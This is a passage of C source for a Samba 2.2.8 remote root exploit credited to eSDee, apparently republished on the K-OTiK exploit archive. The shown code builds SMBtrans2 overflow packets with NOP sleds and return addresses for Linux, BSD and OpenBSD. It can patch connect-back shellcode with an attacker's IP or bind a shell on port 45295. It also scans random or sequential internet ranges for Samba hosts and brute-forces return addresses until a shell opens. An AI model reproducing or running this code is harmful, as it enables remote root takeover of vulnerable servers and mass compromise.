        smbheader-&gt;protocol[3]          = 'B';
        smbheader-&gt;command              = 0x32;         /* SMBtrans2 */
        smbheader-&gt;tid                  = 0x01;
        smbheader-&gt;uid                  = 100;

        memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(ex
ploit_data), 0x90, 3000);

        buffer[1096] = 0xEB;
        buffer[1097] = 0x70;

        for (i = 0; i &lt; 4 * 24; i += 8) {
                memcpy(buffer + 1099 + i, &amp;dummy, 4);
                memcpy(buffer + 1103 + i, &amp;ret,   4);
        }

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), 
                        exploit_data, sizeof(exploit_data) - 1);
        memcpy(buffer + 1800, shellcode, strlen(shellcode));

        if(write_timer(sock, 3) == 1) {
                if (send(sock, buffer, sizeof(buffer) - 1, 0) &lt; 0) return -1;
                return 0;
        }

        return -1;
}

int
exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
{
        char buffer[4000];

        char exploit_data[] =
                &quot;\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00&quot;
                &quot;\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x
00\x00\x00\x00&quot;
                &quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00&quot;
                &quot;\x00\x00\x00\x90&quot;;

        int i = 0;
        unsigned long dummy = ret - 0x30;
        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader-&gt;type             = 0x00;         /* session message */
        netbiosheader-&gt;flags            = 0x04;
        netbiosheader-&gt;length           = htons(2096);

        smbheader-&gt;protocol[0]          = 0xFF;
        smbheader-&gt;protocol[1]          = 'S';
        smbheader-&gt;protocol[2]          = 'M';
        smbheader-&gt;protocol[3]          = 'B';
        smbheader-&gt;command              = 0x32;         /* SMBtrans2 */
        smbheader-&gt;tid                  = 0x01;
        smbheader-&gt;uid                  = 100;

        memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(ex
ploit_data), 0x90, 3000);

        for (i = 0; i &lt; 4 * 24; i += 4)
                memcpy(buffer + 1131 + i, &amp;dummy, 4);

        memcpy(buffer + 1127, &amp;ret,      4);

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
                        exploit_data, sizeof(exploit_data) - 1);

        memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode))
;

        if(write_timer(sock, 3) == 1) {
                if (send(sock, buffer, sizeof(buffer) - 1, 0) &lt; 0) return -1;
                return 0;
        }

        return -1;
}


int
main (int argc,char *argv[])
{
        char *shellcode = NULL;
        char scan_ip[256];

        int brute       = -1;
        int connectback = 0;
        int force       = 0;
        int i           = 0;
        int ip1         = 0;
        int ip2         = 0;
        int ip3         = 0;
        int ip4         = 0;
        int opt         = 0;
        int port        = 139;
        int random      = 0;
        int scan        = 0;
        int sock        = 0;
        int sock2       = 0;
        int status      = 0;
        int type        = 0;
        int verbose     = 0;

        unsigned long BRUTE_DELAY       = 100000;
        unsigned long ret               = 0x0;
        unsigned long MAX_CHILDS        = 40;
        unsigned long STEPS             = 300;

        struct hostent          *he;

        fprintf(stdout, &quot;samba-2.2.8 &lt; remote root exploit by eSDee (www.netric
.org|be)\n&quot;
                        &quot;------------------------------------------------------
--------\n&quot;);
        
        while((opt = getopt(argc,argv,&quot;b:B:c:C:d:fp:r:sS:t:v&quot;)) !=EOF) {
                switch(opt) 
                {
                        case 'b':
                                brute = atoi(optarg);
                                if ((brute &lt; 0) || (brute &gt; 3)) {
                                        fprintf(stderr, &quot;Invalid platform.\n\n&quot;
);
                                        return -1;
                                }
                                break;
                        case 'B':
                                STEPS = atoi(optarg);
                                if (STEPS == 0) STEPS++;
                                break;
                        case 'c':
                                sscanf(optarg, &quot;%d.%d.%d.%d&quot;, &amp;ip1, &amp;ip2, &amp;ip3,
 &amp;ip4);
                                connectback = 1;

                                if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 
0) {
                                        fprintf(stderr, &quot;Invalid IP address.\n\
n&quot;);
                                        return -1;
                                }

                                linux_connect_back[33] = ip1; bsd_connect_back[
24] = ip1;
                                linux_connect_back[34] = ip2; bsd_connect_back[
25] = ip2;
                                linux_connect_back[35] = ip3; bsd_connect_back[
26] = ip3;
                                linux_connect_back[36] = ip4; bsd_connect_back[
27] = ip4;

                                break;
                        case 'C':
                                MAX_CHILDS = atoi(optarg);
                                if (MAX_CHILDS == 0) {
                                        fprintf(stderr, &quot;Invalid number of chil
ds.\n&quot;);
                                        return -1;
                                }

                                if (MAX_CHILDS &gt; 99) {
                                        fprintf(stderr, &quot;Too many childs, using
 99. \n&quot;);
                                        MAX_CHILDS = 99;
                                }

                                break;
                        case 'd':
                                BRUTE_DELAY = atoi(optarg);
                                break;
                        case 'f':
                                force = 1;
                                break;
                        case 'p':
                                port = atoi(optarg);
                                if ((port &lt;= 0) || (port &gt; 65535)) {
                                        fprintf(stderr, &quot;Invalid port.\n\n&quot;);
                                        return -1;
                                }
                                break;
                        case 'r':
                                ret = strtoul(optarg, &amp;optarg, 16);
                                break;
                        case 's':
                                random  = 1;
                                scan    = 1;
                                break;
                        case 'S':
                                random  = 0;
                                scan    = 1;
                                sscanf(optarg, &quot;%d.%d.%d&quot;, &amp;ip1, &amp;ip2, &amp;ip3);
                                ip3--;
                                break;
                        case 't':
                                type = atoi(optarg);
                                if (type == 0 || type &gt; sizeof(targets) / 16) {
                                        for(i = 0; i &lt; sizeof(targets) / 16; i+
+)
                                                fprintf(stdout, &quot;%02d. %s      
     [0x%08x]\n&quot;, i + 1,

                                                                targets[i].type
, (unsigned int) targets[i].ret);
                                        fprintf(stderr, &quot;\n&quot;);
                                        return -1;
                                }
                                break;
                        case 'v':
                                verbose = 1;
                                break;
                        default:
                                usage(argv[0] == NULL ? &quot;sambal&quot; : argv[0]);
                                break;
                }

        }

        if ((argv[optind] == NULL &amp;&amp; scan == 0) || (type == 0 &amp;&amp; brute == -1 &amp;&amp;
 scan == 0)) 
                usage(argv[0] == NULL ? &quot;sambal&quot; : argv[0]);

        if (scan == 1) 
                fprintf(stdout, &quot;+ Scan mode.\n&quot;);
        if (verbose == 1)
                fprintf(stdout, &quot;+ Verbose mode.\n&quot;);

        if (scan == 1) {

                srand(getpid());

                while (1) {

                        if (random == 1) {
                                ip1 = rand() % 255;
                                ip2 = rand() % 255;
                                ip3 = rand() % 255; } 
                        else {
                                ip3++;
                                if (ip3 &gt; 254) { ip3 = 1; ip2++; }
                                if (ip2 &gt; 254) { ip2 = 1; ip1++; }
                                if (ip1 &gt; 254) exit(0);
                        }

                        for (ip4 = 0; ip4 &lt; 255; ip4++) {
                                i++;
                                snprintf(scan_ip, sizeof(scan_ip) - 1, &quot;%u.%u.%
u.%u&quot;, ip1, ip2, ip3, ip4);
                                usleep(BRUTE_DELAY);

                                switch (fork()) {
                                        case 0:
                                                switch(is_samba(scan_ip, 2)) {
                                                        case 0:
                                                                fprintf(stdout,
 &quot;+ [%s] Samba\n&quot;, scan_ip);
                                                                break;
                                                        case 1:
                                                                fprintf(stdout,
 &quot;+ [%s] Windows\n&quot;, scan_ip);
                                                                break;
                                                        default:
                                                                break;  
                                                }

                                                exit(0);
                                                break;
                                        case -1:
                                                fprintf(stderr, &quot;+ fork() error
\n&quot;);
                                                exit(-1);
                                                break;
                                        default:
                                                if (i &gt; MAX_CHILDS - 2) { 
                                                        wait(&amp;status); 
                                                        i--;
                                                }
                                                break;
                                }
                        }

                }

                return 0;
        }


        he = gethostbyname(argv[optind]);

        if (he == NULL) {
                fprintf(stderr, &quot;Unable to resolve %s...\n&quot;, argv[optind]);
                return -1;
        }

        if (brute == -1) {

                if (ret == 0) ret = targets[type - 1].ret;

                shellcode = targets[type - 1].shellcode;

                if (connectback == 1) {
                        fprintf(stdout, &quot;+ connecting back to: [%d.%d.%d.%d:452
95]\n&quot;, 
                                        ip1, ip2, ip3, ip4);

                        switch(targets[type - 1].os_type) {
                                case 0: /* linux */
                                        shellcode = linux_connect_back;
                                        break;
                                case 1: /* FreeBSD/NetBSD */
                                        shellcode = bsd_connect_back;
                                        break;
                                case 2: /* OpenBSD */
                                        shellcode = bsd_connect_back;
                                        break;
                                case 3: /* OpenBSD 3.2 Non-exec stack */
                                        shellcode = bsd_connect_back;
                                        break;
                        }

                }

                if ((sock = socket(AF_INET, SOCK_STREAM, 6)) &lt; 0) {
                        fprintf(stderr, &quot;+ socket() error.\n&quot;);
                        return -1;
                }

                if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) &lt; 0) {
                        fprintf(stderr, &quot;+ socket() error.\n&quot;);
                        return -1;
                }

                memcpy(&amp;addr1.sin_addr, he-&gt;h_addr, he-&gt;h_length);
                memcpy(&amp;addr2.sin_addr, he-&gt;h_addr, he-&gt;h_length);

                addr1.sin_family = AF_INET;
                addr1.sin_port   = htons(port); 
                addr2.sin_family = AF_INET;
                addr2.sin_port   = htons(45295);

                if (connect(sock, (struct sockaddr *)&amp;addr1, sizeof(addr1)) == 
-1) { 
                        fprintf(stderr, &quot;+ connect() error.\n&quot;);
                        return -1;
                }

                if (verbose == 1) fprintf(stdout, &quot;+ %s\n&quot;, targets[type - 1].t
ype);

                if (force == 0) {

                        if (is_samba(argv[optind], 2) != 0) {
                                fprintf(stderr, &quot;+ Host is not running samba!\n
\n&quot;);
                                return -1;
                        }

                        fprintf(stderr, &quot;+ Host is running samba.\n&quot;);
                }

                if (verbose == 1) fprintf(stdout, &quot;+ Connected to [%s:%d]\n&quot;, (
char *)inet_ntoa(addr1.sin_addr), port);

                if (start_session(sock) &lt; 0) fprintf(stderr, &quot;+ Session failed.
\n&quot;);

                if (verbose == 1) fprintf(stdout, &quot;+ Session enstablished\n&quot;);
                sleep(5);
                if (targets[type - 1].os_type != 2) {
                        if (exploit_normal(sock, ret, shellcode) &lt; 0) {
                                fprintf(stderr, &quot;+ Failed.\n&quot;);
                                close(sock);
                        }
                } else {
                        if (exploit_openbsd32(sock, ret, shellcode) &lt; 0) {
                                fprintf(stderr, &quot;+ Failed.\n&quot;);
                                close(sock);
                        }
                }

                sleep(2);

                if (connectback == 0) {
                        if(connect(sock2, (struct sockaddr *)&amp;addr2, sizeof(add
r2)) == -1) {
                                fprintf(stderr, &quot;+ Exploit failed, try -b to br
uteforce.\n&quot;);

                                return -1;
                        }

                        fprintf(stdout, &quot;--------------------------------------
------------------------\n&quot;);

                        shell(sock2);
                        close(sock);
                        close(sock2);
                } else {
                        fprintf(stdout, &quot;+ Done...\n&quot;);
                        close(sock2);
                        close(sock);
                }
                return 0;
        }

        signal(SIGPIPE, SIG_IGN);
        signal(SIGUSR1, handler);

        switch(brute) {
                case 0:
                        if (ret == 0) ret = 0xc0000000;
                        shellcode = linux_bindcode;
                        fprintf(stdout, &quot;+ Bruteforce mode. (Linux)\n&quot;);
                        break;
                case 1:
                        if (ret == 0) ret = 0xbfc00000;
                        shellcode = bsd_bindcode;
                        fprintf(stdout, &quot;+ Bruteforce mode. (FreeBSD / NetBSD)\
n&quot;);
                        break;
                case 2:
                        if (ret == 0) ret = 0xdfc00000;
                        shellcode = bsd_bindcode;
                        fprintf(stdout, &quot;+ Bruteforce mode. (OpenBSD 3.1 and pr
ior)\n&quot;);
                        break;
                case 3:
                        if (ret == 0) ret = 0x00170000;
                        shellcode = bsd_bindcode;
                        fprintf(stdout, &quot;+ Bruteforce mode. (OpenBSD 3.2 - non-
exec stack)\n&quot;);
                        break;
                }

        memcpy(&amp;addr1.sin_addr, he-&gt;h_addr, he-&gt;h_length);
        memcpy(&amp;addr2.sin_addr, he-&gt;h_addr, he-&gt;h_length);

        addr1.sin_family = AF_INET;
        addr1.sin_port   = htons(port);
        addr2.sin_family = AF_INET;
        addr2.sin_port   = htons(45295);

        for (i = 0; i &lt; 100; i++)
                childs[i] = -1;
        i = 0;

        if (force == 0) {
                if (is_samba(argv[optind], 2) != 0) {
                        fprintf(stderr, &quot;+ Host is not running samba!\n\n&quot;);
                        return -1;
                }

                fprintf(stderr, &quot;+ Host is running samba.\n&quot;);
        }

        while (OWNED == 0) {

                if (sock  &gt; 2) close(sock);
                if (sock2 &gt; 2) close(sock2);

                if ((sock = socket(AF_INET, SOCK_STREAM, 6)) &lt; 0) {
                        if (verbose == 1) fprintf(stderr, &quot;+ socket() error.\n&quot;
);
                }
                else {  
                        ret -= STEPS;
                        i++;
                }

                if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) &lt; 0)
                        if (verbose == 1) fprintf(stderr, &quot;+ socket() error.\n&quot;
);


                if ((ret &amp; 0xff) == 0x00 &amp;&amp; brute != 3) ret++;

                if (verbose == 1) fprintf(stdout, &quot;+ Using ret: [0x%08x]\n&quot;, (u
nsigned int)ret);

                usleep(BRUTE_DELAY);

                switch (childs[i] = fork()) {
                        case 0:
                                if(Connect(sock, (char *)inet_ntoa(addr1.sin_ad
dr), port, 2) == -1) {
                                        if (sock  &gt; 2) close(sock);
                                        if (sock2 &gt; 2) close(sock2);
                                        exit(-1);
                                }

                                if(write_timer(sock, 3) == 1) {
                                        if (start_session(sock) &lt; 0) {
                                                if (verbose == 1) fprintf(stder
r, &quot;+ Session failed.\n&quot;);
                                                if (sock  &gt; 2)close(sock);
                                                if (sock2 &gt; 2) close(sock2);
                                                exit(-1);
                                        }

                                        if (brute == 3) {
                                                if (exploit_openbsd32(sock, ret
, shellcode) &lt; 0) {
                                                        if (verbose == 1) fprin
tf(stderr, &quot;+ Failed.\n&quot;);
                                                        if (sock  &gt; 2) close(so
ck);
                                                        if (sock2 &gt; 2) close(so
ck2);
                                                        exit(-1);
                                                }
                                        } 
                                else {
                                        if (exploit_normal(sock, ret, shellcode
) &lt; 0) {
                                                if (verbose == 1) fprintf(stder
r, &quot;+ Failed.\n&quot;);
                                                if (sock  &gt; 2) close(sock);
                                                if (sock2 &gt; 2) close(sock2);
                                                exit(-1);
                                        }

                                        if (sock &gt; 2) close(sock);

                                        if ((sock2 = socket(AF_INET, SOCK_STREA
M, 6)) &lt; 0) {
                                                if (sock2 &gt; 2) close(sock2);
                                                exit(-1);
                                        }

                                        if(Connect(sock2, (char *)inet_ntoa(add
r1.sin_addr), 45295, 2) != -1) {
                                                if (sock2  &gt; 2) close(sock2);
                                                kill(getppid(), SIGUSR1);
                                        }

                                        exit(1);
                                }


                                exit(0);
                                break;
                        case -1:
                                fprintf(stderr, &quot;+ fork() error\n&quot;);
                                exit(-1);
                                break;
                        default:
                                if (i &gt; MAX_CHILDS - 2) {
                                        wait(&amp;status);
                                        i--;
                                }
                                break;
                        }

                }

        }

        return 0;
}</font></pre>
            </td>
          </tr>
        </table>
        </center>
      </div>
      <p align="center"><font face="Verdana" size="1">&nbsp;&nbsp;&nbsp; </font></p>
      <p align="center"><font face="Verdana" size="1">&nbsp;&nbsp;&nbsp; </font></p>
      <TABLE cellSpacing=0 cellPadding=0 border=0 width="100%" style="border-collapse: collapse" bordercolor="#111111">
        <TBODY>
        <TR>
                    <td width="100%" style="border-style:none; border-width:medium; font-family: arial,helvetica,sans-serif; font-size: x-small" background="../images/bas.gif">
                    <p align="center">
                    <a href="../audits">
                    <img border="0" src="../images/audits.GIF" width="97" height="18" alt=" Audits de Sécurité &amp; Tests Intrusifs"></a><a href="../fvns.php"><img border="0" src="../images/fvnssec.GIF" alt=" F-VNS Security™ " width="94" height="18"></a><a href="../mailing.php"><img border="0" src="../images/mailingliste.gif" alt=" Mailing Listes Advisories " width="81" height="18"></a><a href="../annonceurs"><img border="0" src="../images/annoncer.GIF" alt=" Service Publicitaire" width="68" height="18"></a></td>
</TR></TBODY></TABLE></center>
      </div>
    </TD></TR></TBODY></TABLE></CENTER>


</BODY></HTML>
<table border="1" cellpadding="0" cellspacing="0" style="border-width:0; border-collapse: collapse" bordercolor="#111111" width="100%" height="30">
  <tr>
    <td width="100%" style="border-style: none; border-width: medium" height="30">

    <center>
    <p><font face="Verdana" color="#999999" size="1">Tous droits réservés © 
    2002-2004 </font>
<font face="Verdana" color="#97979b" size="1">K-OTiK Security</font><font face="Verdana" color="#999999" size="1"> <a href="http://www.k-otik.com/copyright"><u><font color="#97979B">Voir 
    Notice Légale</font></u></a><font color="#97979B">&nbsp;&nbsp;&nbsp; </font> </font>
    </p>
    </center></td>
  </tr>
</table>
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse; border-width: 0" bordercolor="#111111" width="100%" id="AutoNumber3"><script>function Periodics() { autopromo.location.reload(); timerID = setTimeout("Periodics()",55000); } timerID = setTimeout("Periodics()",55000);</script>
  <tr>
    <td width="100%" style="border-style: none; border-width: medium">
    <p align="center"><font size="1" face="Verdana">
    <font color="#E9E9E8">
    <a title="actualite informatique" href="http://www.actualite-informatique.com/">
    <font color="#E9E9E8">actualité informatique</font></a>&nbsp; </font>
    <a title="Exploits" href="http://www.k-otik.com/exploits/"><font color="#e9e9e8">Exploits</font></a></font></td>
  </tr>
</table>